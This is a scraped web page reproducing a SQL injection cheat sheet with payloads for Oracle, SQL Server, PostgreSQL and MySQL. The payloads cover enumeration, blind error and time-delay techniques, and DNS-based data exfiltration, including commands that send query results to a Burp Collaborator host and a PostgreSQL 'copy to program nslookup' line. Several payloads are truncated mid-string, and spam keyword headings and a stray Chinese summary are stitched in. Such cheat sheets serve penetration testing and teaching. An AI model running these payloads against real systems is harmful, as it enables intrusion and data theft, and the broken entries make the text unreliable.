Postgresql Injection Cheat Sheet

Postgresql Injection Cheat Sheet Pdf
Postgresql Command Line Cheat Sheet
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Client Authentication. Disable all trust connections, use strong authentication (md5/kerberos etc) Trust authentication is only suitable for TCP/IP connections if you trust every user on every machine that is allowed to connect to the server by the pghba.conf lines that specify trust. This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks. String concatenation You can concatenate together multiple strings to make a single string. The PostgreSQL cheat sheet provides you with the common PostgreSQL commands and statements that enable you to work with PostgreSQL quickly and effectively.

This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.

You can concatenate together multiple strings to make a single string.

database	example
Oracle	`’foo’
Microsoft	`'foo'+'bar'`
PostgreSQL	`’foo’
MySQL	`'foo' 'bar' [Note the space between the two strings]` `CONCAT('foo','bar')`

You can use comments to truncate a query and remove the portion of the original query that follows your input.

database	example
Oracle	`--comment`
Microsoft	`--comment` `/comment/`
PostgreSQL	`--comment` `/comment/`
MySQL	`#comment` `-- comment [Note the space after the double dash]` `/comment/`

You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.

database	example
Oracle	`SELECT banner FROM v$version` `SELECT version FROM v$instance`
Microsoft	`SELECT @@version`
PostgreSQL	`SELECT version()`
MySQL	`SELECT @@version`

You can list the tables that exist in the database, and the columns that those tables contain.

Postgresql Injection Cheat Sheet Pdf

database	example
Oracle	`SELECT * FROM all_tables` `SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'`
Microsoft	`SELECT * FROM information_schema.tables` `SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`
PostgreSQL	`SELECT * FROM information_schema.tables` `SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`
MySQL	`SELECT * FROM information_schema.tables` `SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'`

You can test a single boolean condition and trigger a database error if the condition is true.

database	example
Oracle	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual`
Microsoft	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END`
PostgreSQL	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END`
MySQL	`SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')`

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.

database	example
Oracle	`Does not support batched queries.`
Microsoft	`QUERY-1-HERE; QUERY-2-HERE`
PostgreSQL	`QUERY-1-HERE; QUERY-2-HERE`
MySQL	`Does not support batched queries.`

You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.

database	example
Oracle	`dbms_pipe.receive_message(('a'),10)`
Microsoft	`WAITFOR DELAY '0:0:10'`
PostgreSQL	`SELECT pg_sleep(10)`
MySQL	`SELECT sleep(10)`

You can test a single boolean condition and trigger a time delay if the condition is true.

database	example
Oracle	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN ‘a’
Microsoft	`IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'`
PostgreSQL	`SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END`
MySQL	`SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')`

You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

database	example
Oracle	The following technique leverages an XML external entity (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:`SELECT extractvalue(xmltype('<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root [ <!ENTITY % remote SYSTEM 'http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/'> %remote;]>'),'/l') FROM dual` The following technique works on fully patched Oracle installations, but requires elevated privileges:`SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')`
Microsoft	`exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a'`
PostgreSQL	`copy (SELECT ') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net'`
MySQL	The following techniques work on Windows only: `LOAD_FILE('YOUR-SUBDOMAIN-HERE.burpcollaborator.neta')` `SELECT ... INTO OUTFILE 'YOUR-SUBDOMAIN-HERE.burpcollaborator.neta'`

You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.

database	example
Oracle	`SELECT extractvalue(xmltype(‘<!DOCTYPE root [ <!ENTITY % remote SYSTEM “http://‘
Microsoft	`declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree '//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a')`
PostgreSQL	create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := ‘copy (SELECT ‘’’’) to program ‘’nslookup ‘
MySQL	The following technique works on Windows only:`SELECT YOUR-QUERY-HERE INTO OUTFILE 'YOUR-SUBDOMAIN-HERE.burpcollaborator.neta'`

SQL注入在不同数据库的表现,可表现在这些方面:

Postgresql Command Line Cheat Sheet

Postgresql Injection Cheat Sheet Download

String concatenation 字符串连接
Comments 注释
Database version 数据库版本的查询
Database contents 数据库内容的查询
Conditional errors 条件错误
Batched (or stacked) queries 批量查询
Time delays 时间延迟
Conditional time delays 有条件的时间延迟
DNS lookup DNS查询
DNS lookup with data exfiltration 使用数据泄露进行DNS查找

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